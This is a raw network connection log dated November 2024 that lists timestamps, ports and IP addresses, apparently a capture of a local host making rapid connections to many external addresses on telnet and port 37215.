Nov 3, 2024 15:37:11.493379116 CET	37215	56664	41.1.26.153	192.168.2.14
Nov 3, 2024 15:37:11.493474007 CET	37215	40094	156.91.171.80	192.168.2.14
Nov 3, 2024 15:37:11.493484020 CET	37215	37922	197.106.166.153	192.168.2.14
Nov 3, 2024 15:37:11.493536949 CET	37215	46668	197.74.114.107	192.168.2.14
Nov 3, 2024 15:37:11.493555069 CET	37215	35902	156.21.7.201	192.168.2.14
Nov 3, 2024 15:37:11.493568897 CET	37215	40346	197.34.76.106	192.168.2.14
Nov 3, 2024 15:37:11.493597984 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.493750095 CET	37215	55796	41.158.151.80	192.168.2.14
Nov 3, 2024 15:37:11.493767977 CET	37215	35902	156.21.7.201	192.168.2.14
Nov 3, 2024 15:37:11.494013071 CET	37215	46668	197.74.114.107	192.168.2.14
Nov 3, 2024 15:37:11.494023085 CET	37215	35902	156.21.7.201	192.168.2.14
Nov 3, 2024 15:37:11.494040966 CET	37215	39672	156.175.54.142	192.168.2.14
Nov 3, 2024 15:37:11.494050980 CET	37215	36656	197.147.132.168	192.168.2.14
Nov 3, 2024 15:37:11.494066954 CET	37215	36878	197.31.149.169	192.168.2.14
Nov 3, 2024 15:37:11.494110107 CET	37215	33060	41.233.248.58	192.168.2.14
Nov 3, 2024 15:37:11.494121075 CET	37215	34226	41.191.196.11	192.168.2.14
Nov 3, 2024 15:37:11.494220972 CET	37215	53508	156.108.194.67	192.168.2.14
Nov 3, 2024 15:37:11.494230986 CET	37215	40346	197.34.76.106	192.168.2.14
Nov 3, 2024 15:37:11.494240046 CET	37215	37750	41.204.27.199	192.168.2.14
Nov 3, 2024 15:37:11.494252920 CET	37215	33438	41.127.161.90	192.168.2.14
Nov 3, 2024 15:37:11.494273901 CET	37215	56340	197.183.22.28	192.168.2.14
Nov 3, 2024 15:37:11.494420052 CET	37215	57540	156.130.214.19	192.168.2.14
Nov 3, 2024 15:37:11.494436979 CET	37215	49890	197.254.17.218	192.168.2.14
Nov 3, 2024 15:37:11.494494915 CET	37215	59588	41.179.185.245	192.168.2.14
Nov 3, 2024 15:37:11.494504929 CET	37215	56340	197.183.22.28	192.168.2.14
Nov 3, 2024 15:37:11.494513035 CET	37215	50894	197.213.145.152	192.168.2.14
Nov 3, 2024 15:37:11.494623899 CET	37215	54774	156.103.148.132	192.168.2.14
Nov 3, 2024 15:37:11.494638920 CET	37215	40444	41.210.242.120	192.168.2.14
Nov 3, 2024 15:37:11.494746923 CET	37215	37294	156.1.250.39	192.168.2.14
Nov 3, 2024 15:37:11.494756937 CET	37215	33116	197.108.23.217	192.168.2.14
Nov 3, 2024 15:37:11.494937897 CET	37215	37922	197.106.166.153	192.168.2.14
Nov 3, 2024 15:37:11.494946957 CET	37215	39056	156.135.37.168	192.168.2.14
Nov 3, 2024 15:37:11.495007992 CET	37215	43864	197.204.14.128	192.168.2.14
Nov 3, 2024 15:37:11.495018005 CET	37215	48942	41.22.109.55	192.168.2.14
Nov 3, 2024 15:37:11.495069981 CET	37215	49530	197.156.27.154	192.168.2.14
Nov 3, 2024 15:37:11.495079994 CET	37215	49152	197.226.142.141	192.168.2.14
Nov 3, 2024 15:37:11.495156050 CET	37215	40250	156.3.134.146	192.168.2.14
Nov 3, 2024 15:37:11.495165110 CET	37215	56962	156.32.248.140	192.168.2.14
Nov 3, 2024 15:37:11.495172977 CET	37215	55796	41.158.151.80	192.168.2.14
Nov 3, 2024 15:37:11.495182991 CET	37215	40870	41.115.20.24	192.168.2.14
Nov 3, 2024 15:37:11.495218039 CET	37215	54772	41.166.36.238	192.168.2.14
Nov 3, 2024 15:37:11.495228052 CET	37215	45430	41.219.228.84	192.168.2.14
Nov 3, 2024 15:37:11.495244980 CET	37215	33002	197.137.102.189	192.168.2.14
Nov 3, 2024 15:37:11.495254040 CET	37215	51742	41.127.70.140	192.168.2.14
Nov 3, 2024 15:37:11.495301962 CET	37215	41604	156.221.255.137	192.168.2.14
Nov 3, 2024 15:37:11.495311022 CET	37215	49574	41.53.63.239	192.168.2.14
Nov 3, 2024 15:37:11.495361090 CET	37215	57902	41.95.41.83	192.168.2.14
Nov 3, 2024 15:37:11.495371103 CET	37215	42620	41.217.7.145	192.168.2.14
Nov 3, 2024 15:37:11.495378971 CET	37215	33116	197.108.23.217	192.168.2.14
Nov 3, 2024 15:37:11.495421886 CET	37215	43330	156.205.29.107	192.168.2.14
Nov 3, 2024 15:37:11.495431900 CET	37215	55592	41.215.234.93	192.168.2.14
Nov 3, 2024 15:37:11.495441914 CET	37215	55998	156.74.107.240	192.168.2.14
Nov 3, 2024 15:37:11.495524883 CET	37215	55748	156.10.11.88	192.168.2.14
Nov 3, 2024 15:37:11.495534897 CET	37215	38342	41.236.104.122	192.168.2.14
Nov 3, 2024 15:37:11.495544910 CET	37215	47600	41.37.247.136	192.168.2.14
Nov 3, 2024 15:37:11.495590925 CET	37215	45744	41.120.114.208	192.168.2.14
Nov 3, 2024 15:37:11.495600939 CET	37215	46172	41.227.68.72	192.168.2.14
Nov 3, 2024 15:37:11.495614052 CET	37215	33060	41.233.248.58	192.168.2.14
Nov 3, 2024 15:37:11.495624065 CET	37215	41994	156.5.106.240	192.168.2.14
Nov 3, 2024 15:37:11.495640993 CET	37215	49030	156.197.2.99	192.168.2.14
Nov 3, 2024 15:37:11.495651007 CET	37215	49364	197.211.76.111	192.168.2.14
Nov 3, 2024 15:37:11.495667934 CET	37215	52250	197.4.6.115	192.168.2.14
Nov 3, 2024 15:37:11.495677948 CET	37215	47282	156.66.38.190	192.168.2.14
Nov 3, 2024 15:37:11.495723963 CET	37215	49060	41.104.189.119	192.168.2.14
Nov 3, 2024 15:37:11.495733976 CET	37215	33818	41.208.203.43	192.168.2.14
Nov 3, 2024 15:37:11.495783091 CET	37215	34226	41.191.196.11	192.168.2.14
Nov 3, 2024 15:37:11.495794058 CET	37215	49894	197.3.79.206	192.168.2.14
Nov 3, 2024 15:37:11.495801926 CET	37215	52260	197.170.70.85	192.168.2.14
Nov 3, 2024 15:37:11.495820045 CET	37215	58138	156.56.65.215	192.168.2.14
Nov 3, 2024 15:37:11.495830059 CET	37215	57990	156.68.52.194	192.168.2.14
Nov 3, 2024 15:37:11.495881081 CET	37215	49242	41.12.251.234	192.168.2.14
Nov 3, 2024 15:37:11.495907068 CET	37215	56926	197.27.247.143	192.168.2.14
Nov 3, 2024 15:37:11.495923042 CET	37215	39812	197.7.160.38	192.168.2.14
Nov 3, 2024 15:37:11.495932102 CET	37215	55646	156.45.242.111	192.168.2.14
Nov 3, 2024 15:37:11.496006966 CET	37215	37750	41.204.27.199	192.168.2.14
Nov 3, 2024 15:37:11.496016979 CET	37215	32860	41.106.89.174	192.168.2.14
Nov 3, 2024 15:37:11.496026039 CET	37215	53594	156.243.181.34	192.168.2.14
Nov 3, 2024 15:37:11.496082067 CET	37215	56660	156.156.70.75	192.168.2.14
Nov 3, 2024 15:37:11.496093035 CET	37215	37242	41.28.107.158	192.168.2.14
Nov 3, 2024 15:37:11.496131897 CET	37215	58762	156.178.4.247	192.168.2.14
Nov 3, 2024 15:37:11.496141911 CET	37215	55750	156.157.41.72	192.168.2.14
Nov 3, 2024 15:37:11.496189117 CET	37215	60094	156.236.57.150	192.168.2.14
Nov 3, 2024 15:37:11.496198893 CET	37215	45948	156.122.194.113	192.168.2.14
Nov 3, 2024 15:37:11.496243954 CET	37215	41016	41.226.57.61	192.168.2.14
Nov 3, 2024 15:37:11.496253014 CET	37215	41288	197.172.150.90	192.168.2.14
Nov 3, 2024 15:37:11.496262074 CET	37215	49890	197.254.17.218	192.168.2.14
Nov 3, 2024 15:37:11.496295929 CET	37215	39066	41.163.33.184	192.168.2.14
Nov 3, 2024 15:37:11.496304989 CET	37215	35682	156.225.156.99	192.168.2.14
Nov 3, 2024 15:37:11.496318102 CET	37215	33066	41.197.53.234	192.168.2.14
Nov 3, 2024 15:37:11.496385098 CET	37215	33532	156.78.250.236	192.168.2.14
Nov 3, 2024 15:37:11.496393919 CET	37215	33454	41.20.124.70	192.168.2.14
Nov 3, 2024 15:37:11.496402979 CET	37215	60998	41.31.230.34	192.168.2.14
Nov 3, 2024 15:37:11.496454954 CET	37215	58866	197.117.220.43	192.168.2.14
Nov 3, 2024 15:37:11.496464968 CET	37215	42908	41.61.175.218	192.168.2.14
Nov 3, 2024 15:37:11.496489048 CET	37215	49032	156.111.125.131	192.168.2.14
Nov 3, 2024 15:37:11.496499062 CET	37215	38642	156.246.61.185	192.168.2.14
Nov 3, 2024 15:37:11.496548891 CET	37215	52942	156.147.112.122	192.168.2.14
Nov 3, 2024 15:37:11.496557951 CET	37215	60640	197.140.71.172	192.168.2.14
Nov 3, 2024 15:37:11.496581078 CET	37215	47612	197.221.66.71	192.168.2.14
Nov 3, 2024 15:37:11.496591091 CET	37215	35456	197.176.255.237	192.168.2.14
Nov 3, 2024 15:37:11.496645927 CET	37215	33438	41.127.161.90	192.168.2.14
Nov 3, 2024 15:37:11.496655941 CET	37215	47940	156.246.166.190	192.168.2.14
Nov 3, 2024 15:37:11.496668100 CET	37215	45022	156.21.107.185	192.168.2.14
Nov 3, 2024 15:37:11.496715069 CET	37215	33424	156.93.99.76	192.168.2.14
Nov 3, 2024 15:37:11.496725082 CET	37215	54356	41.163.133.62	192.168.2.14
Nov 3, 2024 15:37:11.496829033 CET	37215	55124	197.252.145.215	192.168.2.14
Nov 3, 2024 15:37:11.496838093 CET	37215	54432	156.246.219.40	192.168.2.14
Nov 3, 2024 15:37:11.496850014 CET	37215	47172	41.194.161.217	192.168.2.14
Nov 3, 2024 15:37:11.496886969 CET	37215	54204	41.100.58.25	192.168.2.14
Nov 3, 2024 15:37:11.497013092 CET	37215	54774	156.103.148.132	192.168.2.14
Nov 3, 2024 15:37:11.497287989 CET	37215	43864	197.204.14.128	192.168.2.14
Nov 3, 2024 15:37:11.497575045 CET	37215	48064	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:11.498044014 CET	37215	44796	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:11.498100042 CET	37215	56962	156.32.248.140	192.168.2.14
Nov 3, 2024 15:37:11.498316050 CET	37215	35902	156.21.7.201	192.168.2.14
Nov 3, 2024 15:37:11.498327017 CET	37215	40094	156.91.171.80	192.168.2.14
Nov 3, 2024 15:37:11.498537064 CET	37215	39672	156.175.54.142	192.168.2.14
Nov 3, 2024 15:37:11.498732090 CET	36201	2323	192.168.2.14	182.166.154.97
Nov 3, 2024 15:37:11.498734951 CET	36201	23	192.168.2.14	208.230.42.104
Nov 3, 2024 15:37:11.498734951 CET	36201	23	192.168.2.14	90.172.189.46
Nov 3, 2024 15:37:11.498750925 CET	36201	23	192.168.2.14	161.149.90.185
Nov 3, 2024 15:37:11.498760939 CET	36201	23	192.168.2.14	154.82.67.86
Nov 3, 2024 15:37:11.498760939 CET	36201	23	192.168.2.14	118.16.34.51
Nov 3, 2024 15:37:11.498760939 CET	36201	23	192.168.2.14	112.237.16.169
Nov 3, 2024 15:37:11.498769045 CET	36201	23	192.168.2.14	163.16.26.50
Nov 3, 2024 15:37:11.498770952 CET	36201	23	192.168.2.14	205.201.63.226
Nov 3, 2024 15:37:11.498790026 CET	36201	2323	192.168.2.14	155.4.75.181
Nov 3, 2024 15:37:11.498814106 CET	36201	23	192.168.2.14	151.52.248.199
Nov 3, 2024 15:37:11.498815060 CET	36201	23	192.168.2.14	13.254.150.112
Nov 3, 2024 15:37:11.498815060 CET	36201	23	192.168.2.14	178.54.107.115
Nov 3, 2024 15:37:11.498815060 CET	36201	23	192.168.2.14	186.207.128.23
Nov 3, 2024 15:37:11.498816013 CET	36201	2323	192.168.2.14	153.211.131.30
Nov 3, 2024 15:37:11.498815060 CET	36201	23	192.168.2.14	71.113.219.121
Nov 3, 2024 15:37:11.498815060 CET	36201	23	192.168.2.14	195.116.37.63
Nov 3, 2024 15:37:11.498816013 CET	36201	23	192.168.2.14	17.126.253.5
Nov 3, 2024 15:37:11.498825073 CET	36201	23	192.168.2.14	154.235.43.151
Nov 3, 2024 15:37:11.498825073 CET	36201	23	192.168.2.14	76.74.97.201
Nov 3, 2024 15:37:11.498825073 CET	36201	23	192.168.2.14	108.146.107.5
Nov 3, 2024 15:37:11.498826027 CET	36201	23	192.168.2.14	200.0.11.124
Nov 3, 2024 15:37:11.498825073 CET	36201	23	192.168.2.14	110.86.135.115
Nov 3, 2024 15:37:11.498825073 CET	36201	23	192.168.2.14	165.127.146.231
Nov 3, 2024 15:37:11.498835087 CET	36201	23	192.168.2.14	198.240.29.198
Nov 3, 2024 15:37:11.498838902 CET	36201	23	192.168.2.14	75.154.208.108
Nov 3, 2024 15:37:11.498838902 CET	36201	23	192.168.2.14	124.178.250.49
Nov 3, 2024 15:37:11.498841047 CET	36201	23	192.168.2.14	147.204.114.144
Nov 3, 2024 15:37:11.498847008 CET	36201	2323	192.168.2.14	165.45.46.117
Nov 3, 2024 15:37:11.498847008 CET	36201	23	192.168.2.14	174.189.137.14
Nov 3, 2024 15:37:11.498848915 CET	36201	23	192.168.2.14	58.245.22.213
Nov 3, 2024 15:37:11.498858929 CET	36201	23	192.168.2.14	58.68.52.51
Nov 3, 2024 15:37:11.498858929 CET	36201	23	192.168.2.14	172.199.121.1
Nov 3, 2024 15:37:11.498876095 CET	36201	23	192.168.2.14	70.111.80.184
Nov 3, 2024 15:37:11.498876095 CET	36201	23	192.168.2.14	223.161.119.54
Nov 3, 2024 15:37:11.498883963 CET	36201	23	192.168.2.14	37.155.196.44
Nov 3, 2024 15:37:11.498884916 CET	36201	23	192.168.2.14	149.194.211.156
Nov 3, 2024 15:37:11.498887062 CET	36201	2323	192.168.2.14	156.161.250.237
Nov 3, 2024 15:37:11.498891115 CET	36201	23	192.168.2.14	216.190.26.194
Nov 3, 2024 15:37:11.498893023 CET	36201	23	192.168.2.14	154.33.66.37
Nov 3, 2024 15:37:11.498894930 CET	36201	23	192.168.2.14	207.202.80.103
Nov 3, 2024 15:37:11.498895884 CET	36201	23	192.168.2.14	80.128.126.20
Nov 3, 2024 15:37:11.498898983 CET	36201	23	192.168.2.14	211.202.124.210
Nov 3, 2024 15:37:11.498903036 CET	36201	23	192.168.2.14	96.145.234.200
Nov 3, 2024 15:37:11.498907089 CET	36201	23	192.168.2.14	23.84.233.40
Nov 3, 2024 15:37:11.498914957 CET	36201	23	192.168.2.14	152.240.1.121
Nov 3, 2024 15:37:11.498927116 CET	36201	23	192.168.2.14	190.151.239.92
Nov 3, 2024 15:37:11.498928070 CET	36201	23	192.168.2.14	201.119.191.155
Nov 3, 2024 15:37:11.498928070 CET	36201	23	192.168.2.14	190.244.186.164
Nov 3, 2024 15:37:11.498935938 CET	36201	23	192.168.2.14	120.246.226.79
Nov 3, 2024 15:37:11.498950005 CET	36201	23	192.168.2.14	123.39.219.151
Nov 3, 2024 15:37:11.498951912 CET	36201	2323	192.168.2.14	77.147.11.254
Nov 3, 2024 15:37:11.498955965 CET	36201	23	192.168.2.14	70.142.8.143
Nov 3, 2024 15:37:11.498965025 CET	36201	23	192.168.2.14	182.13.118.219
Nov 3, 2024 15:37:11.498965025 CET	36201	23	192.168.2.14	34.4.102.91
Nov 3, 2024 15:37:11.498974085 CET	36201	23	192.168.2.14	184.16.216.35
Nov 3, 2024 15:37:11.498975992 CET	36201	23	192.168.2.14	150.46.214.136
Nov 3, 2024 15:37:11.498975992 CET	36201	23	192.168.2.14	96.65.194.42
Nov 3, 2024 15:37:11.498989105 CET	36201	2323	192.168.2.14	141.31.163.217
Nov 3, 2024 15:37:11.498990059 CET	36201	23	192.168.2.14	120.31.67.202
Nov 3, 2024 15:37:11.498991966 CET	36201	23	192.168.2.14	90.203.72.206
Nov 3, 2024 15:37:11.498996019 CET	36201	23	192.168.2.14	208.120.81.109
Nov 3, 2024 15:37:11.499002934 CET	36201	23	192.168.2.14	4.40.144.82
Nov 3, 2024 15:37:11.499012947 CET	36201	23	192.168.2.14	97.139.38.87
Nov 3, 2024 15:37:11.499012947 CET	36201	23	192.168.2.14	91.125.27.244
Nov 3, 2024 15:37:11.499018908 CET	36201	23	192.168.2.14	81.144.77.69
Nov 3, 2024 15:37:11.499021053 CET	36201	23	192.168.2.14	77.71.74.251
Nov 3, 2024 15:37:11.499036074 CET	36201	23	192.168.2.14	192.114.180.234
Nov 3, 2024 15:37:11.499037981 CET	36201	23	192.168.2.14	38.196.181.102
Nov 3, 2024 15:37:11.499037981 CET	36201	23	192.168.2.14	1.248.237.145
Nov 3, 2024 15:37:11.499042988 CET	36201	2323	192.168.2.14	141.168.148.8
Nov 3, 2024 15:37:11.499042988 CET	36201	23	192.168.2.14	73.196.183.148
Nov 3, 2024 15:37:11.499053001 CET	37215	36878	197.31.149.169	192.168.2.14
Nov 3, 2024 15:37:11.499057055 CET	36201	23	192.168.2.14	44.76.11.135
Nov 3, 2024 15:37:11.499063015 CET	36201	23	192.168.2.14	105.105.175.126
Nov 3, 2024 15:37:11.499064922 CET	36201	23	192.168.2.14	17.169.26.127
Nov 3, 2024 15:37:11.499069929 CET	36201	23	192.168.2.14	135.146.59.218
Nov 3, 2024 15:37:11.499074936 CET	36201	23	192.168.2.14	142.191.108.125
Nov 3, 2024 15:37:11.499094963 CET	36201	23	192.168.2.14	107.209.147.1
Nov 3, 2024 15:37:11.499097109 CET	36201	23	192.168.2.14	119.63.246.142
Nov 3, 2024 15:37:11.499097109 CET	36201	23	192.168.2.14	151.249.154.104
Nov 3, 2024 15:37:11.499100924 CET	36201	2323	192.168.2.14	197.234.188.111
Nov 3, 2024 15:37:11.499103069 CET	36201	23	192.168.2.14	14.64.127.7
Nov 3, 2024 15:37:11.499109983 CET	36201	23	192.168.2.14	35.2.187.164
Nov 3, 2024 15:37:11.499131918 CET	36201	23	192.168.2.14	71.233.143.117
Nov 3, 2024 15:37:11.499131918 CET	36201	23	192.168.2.14	167.55.140.212
Nov 3, 2024 15:37:11.499131918 CET	36201	23	192.168.2.14	71.87.103.109
Nov 3, 2024 15:37:11.499131918 CET	36201	23	192.168.2.14	116.158.251.130
Nov 3, 2024 15:37:11.499131918 CET	36201	23	192.168.2.14	112.113.224.59
Nov 3, 2024 15:37:11.499136925 CET	36201	23	192.168.2.14	113.1.116.75
Nov 3, 2024 15:37:11.499136925 CET	36201	23	192.168.2.14	125.238.3.60
Nov 3, 2024 15:37:11.499157906 CET	36201	23	192.168.2.14	179.167.142.20
Nov 3, 2024 15:37:11.499159098 CET	36201	2323	192.168.2.14	136.150.135.41
Nov 3, 2024 15:37:11.499160051 CET	36201	23	192.168.2.14	5.50.221.185
Nov 3, 2024 15:37:11.499161959 CET	36201	23	192.168.2.14	196.132.216.52
Nov 3, 2024 15:37:11.499161959 CET	36201	23	192.168.2.14	85.28.211.142
Nov 3, 2024 15:37:11.499165058 CET	36201	23	192.168.2.14	142.173.14.218
Nov 3, 2024 15:37:11.499180079 CET	37215	36656	197.147.132.168	192.168.2.14
Nov 3, 2024 15:37:11.499181032 CET	36201	23	192.168.2.14	117.19.4.227
Nov 3, 2024 15:37:11.499181986 CET	36201	23	192.168.2.14	9.123.234.201
Nov 3, 2024 15:37:11.499183893 CET	36201	23	192.168.2.14	141.73.98.97
Nov 3, 2024 15:37:11.499187946 CET	36201	23	192.168.2.14	157.212.219.163
Nov 3, 2024 15:37:11.499190092 CET	36201	2323	192.168.2.14	111.19.97.38
Nov 3, 2024 15:37:11.499207973 CET	36201	23	192.168.2.14	84.23.210.192
Nov 3, 2024 15:37:11.499223948 CET	36201	23	192.168.2.14	204.4.132.175
Nov 3, 2024 15:37:11.499223948 CET	36201	23	192.168.2.14	66.57.87.131
Nov 3, 2024 15:37:11.499223948 CET	36201	23	192.168.2.14	43.222.84.214
Nov 3, 2024 15:37:11.499223948 CET	36201	23	192.168.2.14	200.204.118.161
Nov 3, 2024 15:37:11.499224901 CET	36201	23	192.168.2.14	148.106.214.64
Nov 3, 2024 15:37:11.499228954 CET	36201	23	192.168.2.14	18.95.200.104
Nov 3, 2024 15:37:11.499245882 CET	36201	23	192.168.2.14	181.90.255.217
Nov 3, 2024 15:37:11.499247074 CET	36201	23	192.168.2.14	181.137.202.44
Nov 3, 2024 15:37:11.499252081 CET	36201	2323	192.168.2.14	60.90.127.14
Nov 3, 2024 15:37:11.499259949 CET	36201	23	192.168.2.14	156.166.196.235
Nov 3, 2024 15:37:11.499270916 CET	36201	23	192.168.2.14	222.108.203.249
Nov 3, 2024 15:37:11.499279976 CET	36201	23	192.168.2.14	158.190.149.156
Nov 3, 2024 15:37:11.499285936 CET	36201	23	192.168.2.14	217.228.70.52
Nov 3, 2024 15:37:11.499288082 CET	36201	23	192.168.2.14	108.212.51.247
Nov 3, 2024 15:37:11.499288082 CET	36201	23	192.168.2.14	44.135.213.4
Nov 3, 2024 15:37:11.499306917 CET	36201	23	192.168.2.14	168.70.168.122
Nov 3, 2024 15:37:11.499315977 CET	36201	23	192.168.2.14	158.203.14.190
Nov 3, 2024 15:37:11.499320030 CET	36201	23	192.168.2.14	107.148.242.158
Nov 3, 2024 15:37:11.499325037 CET	36201	2323	192.168.2.14	12.133.76.26
Nov 3, 2024 15:37:11.499329090 CET	36201	23	192.168.2.14	46.5.213.11
Nov 3, 2024 15:37:11.499330044 CET	36201	23	192.168.2.14	159.151.158.5
Nov 3, 2024 15:37:11.499347925 CET	36201	23	192.168.2.14	87.88.101.8
Nov 3, 2024 15:37:11.499351978 CET	36201	23	192.168.2.14	171.245.15.199
Nov 3, 2024 15:37:11.499355078 CET	36201	23	192.168.2.14	76.159.42.87
Nov 3, 2024 15:37:11.499355078 CET	36201	23	192.168.2.14	120.246.106.239
Nov 3, 2024 15:37:11.499362946 CET	36201	23	192.168.2.14	110.48.51.86
Nov 3, 2024 15:37:11.499370098 CET	36201	23	192.168.2.14	157.109.21.37
Nov 3, 2024 15:37:11.499382973 CET	36201	23	192.168.2.14	1.143.153.191
Nov 3, 2024 15:37:11.499387980 CET	36201	23	192.168.2.14	152.143.198.190
Nov 3, 2024 15:37:11.499388933 CET	36201	2323	192.168.2.14	175.243.209.143
Nov 3, 2024 15:37:11.499389887 CET	36201	23	192.168.2.14	42.136.199.232
Nov 3, 2024 15:37:11.499392033 CET	36201	23	192.168.2.14	182.61.166.99
Nov 3, 2024 15:37:11.499392033 CET	36201	23	192.168.2.14	210.68.45.131
Nov 3, 2024 15:37:11.499392986 CET	36201	23	192.168.2.14	87.156.32.139
Nov 3, 2024 15:37:11.499392986 CET	36201	23	192.168.2.14	204.77.196.116
Nov 3, 2024 15:37:11.499394894 CET	36201	23	192.168.2.14	5.87.93.229
Nov 3, 2024 15:37:11.499408007 CET	36201	23	192.168.2.14	153.178.57.208
Nov 3, 2024 15:37:11.499408007 CET	36201	23	192.168.2.14	14.228.133.150
Nov 3, 2024 15:37:11.499427080 CET	36201	23	192.168.2.14	153.9.88.95
Nov 3, 2024 15:37:11.499428988 CET	36201	2323	192.168.2.14	107.12.233.125
Nov 3, 2024 15:37:11.499432087 CET	36201	23	192.168.2.14	73.92.187.14
Nov 3, 2024 15:37:11.499437094 CET	36201	23	192.168.2.14	176.197.182.115
Nov 3, 2024 15:37:11.499438047 CET	36201	23	192.168.2.14	74.141.144.17
Nov 3, 2024 15:37:11.499443054 CET	36201	23	192.168.2.14	13.75.110.175
Nov 3, 2024 15:37:11.499449968 CET	36201	23	192.168.2.14	85.87.50.246
Nov 3, 2024 15:37:11.499449968 CET	36201	23	192.168.2.14	223.129.49.26
Nov 3, 2024 15:37:11.499449968 CET	36201	23	192.168.2.14	80.117.50.115
Nov 3, 2024 15:37:11.499460936 CET	36201	23	192.168.2.14	40.196.47.104
Nov 3, 2024 15:37:11.499470949 CET	36201	2323	192.168.2.14	84.72.138.180
Nov 3, 2024 15:37:11.499475002 CET	36201	23	192.168.2.14	168.241.208.179
Nov 3, 2024 15:37:11.499480009 CET	36201	23	192.168.2.14	133.23.178.144
Nov 3, 2024 15:37:11.499485016 CET	36201	23	192.168.2.14	108.213.136.66
Nov 3, 2024 15:37:11.499496937 CET	36201	23	192.168.2.14	173.204.66.213
Nov 3, 2024 15:37:11.499496937 CET	36201	23	192.168.2.14	190.133.97.223
Nov 3, 2024 15:37:11.499502897 CET	36201	23	192.168.2.14	70.118.70.174
Nov 3, 2024 15:37:11.499511003 CET	36201	23	192.168.2.14	173.129.98.231
Nov 3, 2024 15:37:11.499516964 CET	36201	23	192.168.2.14	83.159.170.35
Nov 3, 2024 15:37:11.499524117 CET	36201	23	192.168.2.14	38.28.158.250
Nov 3, 2024 15:37:11.499547958 CET	37215	49530	197.156.27.154	192.168.2.14
Nov 3, 2024 15:37:11.499803066 CET	37215	49574	41.53.63.239	192.168.2.14
Nov 3, 2024 15:37:11.500108957 CET	37215	59588	41.179.185.245	192.168.2.14
Nov 3, 2024 15:37:11.500405073 CET	37215	53508	156.108.194.67	192.168.2.14
Nov 3, 2024 15:37:11.501157045 CET	37215	40870	41.115.20.24	192.168.2.14
Nov 3, 2024 15:37:11.502485037 CET	37215	57540	156.130.214.19	192.168.2.14
Nov 3, 2024 15:37:11.502882004 CET	37215	48942	41.22.109.55	192.168.2.14
Nov 3, 2024 15:37:11.503160000 CET	37215	40444	41.210.242.120	192.168.2.14
Nov 3, 2024 15:37:11.503572941 CET	37215	37294	156.1.250.39	192.168.2.14
Nov 3, 2024 15:37:11.503756046 CET	37215	49152	197.226.142.141	192.168.2.14
Nov 3, 2024 15:37:11.503999949 CET	37215	40250	156.3.134.146	192.168.2.14
Nov 3, 2024 15:37:11.504256010 CET	37215	57902	41.95.41.83	192.168.2.14
Nov 3, 2024 15:37:11.504749060 CET	37215	54772	41.166.36.238	192.168.2.14
Nov 3, 2024 15:37:11.505081892 CET	2323	36201	12.133.76.26	192.168.2.14
Nov 3, 2024 15:37:11.505125999 CET	36201	2323	192.168.2.14	12.133.76.26
Nov 3, 2024 15:37:11.505430937 CET	37215	45430	41.219.228.84	192.168.2.14
Nov 3, 2024 15:37:11.505876064 CET	37215	39056	156.135.37.168	192.168.2.14
Nov 3, 2024 15:37:11.506356955 CET	37215	33002	197.137.102.189	192.168.2.14
Nov 3, 2024 15:37:11.506674051 CET	37215	51742	41.127.70.140	192.168.2.14
Nov 3, 2024 15:37:11.507082939 CET	37215	41604	156.221.255.137	192.168.2.14
Nov 3, 2024 15:37:11.507823944 CET	37215	43330	156.205.29.107	192.168.2.14
Nov 3, 2024 15:37:11.508274078 CET	37215	55592	41.215.234.93	192.168.2.14
Nov 3, 2024 15:37:11.508753061 CET	37215	55998	156.74.107.240	192.168.2.14
Nov 3, 2024 15:37:11.509264946 CET	37215	42620	41.217.7.145	192.168.2.14
Nov 3, 2024 15:37:11.509491920 CET	37215	55748	156.10.11.88	192.168.2.14
Nov 3, 2024 15:37:11.509762049 CET	37215	38342	41.236.104.122	192.168.2.14
Nov 3, 2024 15:37:11.510158062 CET	37215	47600	41.37.247.136	192.168.2.14
Nov 3, 2024 15:37:11.510627985 CET	37215	46172	41.227.68.72	192.168.2.14
Nov 3, 2024 15:37:11.511253119 CET	37215	45744	41.120.114.208	192.168.2.14
Nov 3, 2024 15:37:11.511709929 CET	37215	33818	41.208.203.43	192.168.2.14
Nov 3, 2024 15:37:11.512001038 CET	37215	49364	197.211.76.111	192.168.2.14
Nov 3, 2024 15:37:11.512311935 CET	37215	57990	156.68.52.194	192.168.2.14
Nov 3, 2024 15:37:11.512509108 CET	37215	52250	197.4.6.115	192.168.2.14
Nov 3, 2024 15:37:11.512855053 CET	37215	37242	41.28.107.158	192.168.2.14
Nov 3, 2024 15:37:11.513214111 CET	37215	41994	156.5.106.240	192.168.2.14
Nov 3, 2024 15:37:11.513531923 CET	53538	37215	192.168.2.14	197.25.98.119
Nov 3, 2024 15:37:11.513531923 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:11.513544083 CET	33292	37215	192.168.2.14	156.52.237.20
Nov 3, 2024 15:37:11.513544083 CET	52910	37215	192.168.2.14	41.151.65.83
Nov 3, 2024 15:37:11.513545036 CET	54518	37215	192.168.2.14	197.121.220.202
Nov 3, 2024 15:37:11.513561010 CET	54724	37215	192.168.2.14	197.194.109.22
Nov 3, 2024 15:37:11.513561964 CET	37215	49030	156.197.2.99	192.168.2.14
Nov 3, 2024 15:37:11.513566017 CET	41514	37215	192.168.2.14	156.13.60.154
Nov 3, 2024 15:37:11.513566017 CET	53708	37215	192.168.2.14	41.10.157.251
Nov 3, 2024 15:37:11.513571978 CET	55190	37215	192.168.2.14	197.150.58.29
Nov 3, 2024 15:37:11.513571978 CET	46196	37215	192.168.2.14	197.152.142.106
Nov 3, 2024 15:37:11.513571978 CET	51830	37215	192.168.2.14	197.83.38.26
Nov 3, 2024 15:37:11.513572931 CET	40800	37215	192.168.2.14	197.156.175.111
Nov 3, 2024 15:37:11.513575077 CET	40290	37215	192.168.2.14	156.89.176.60
Nov 3, 2024 15:37:11.513580084 CET	47388	37215	192.168.2.14	156.134.113.99
Nov 3, 2024 15:37:11.513582945 CET	58048	37215	192.168.2.14	41.165.77.206
Nov 3, 2024 15:37:11.513583899 CET	42860	37215	192.168.2.14	197.58.202.7
Nov 3, 2024 15:37:11.513592005 CET	42078	37215	192.168.2.14	41.183.20.101
Nov 3, 2024 15:37:11.513592958 CET	42210	37215	192.168.2.14	41.156.187.190
Nov 3, 2024 15:37:11.513592958 CET	33942	37215	192.168.2.14	197.3.226.84
Nov 3, 2024 15:37:11.513592958 CET	56916	37215	192.168.2.14	41.222.185.122
Nov 3, 2024 15:37:11.513592958 CET	59612	37215	192.168.2.14	41.210.172.220
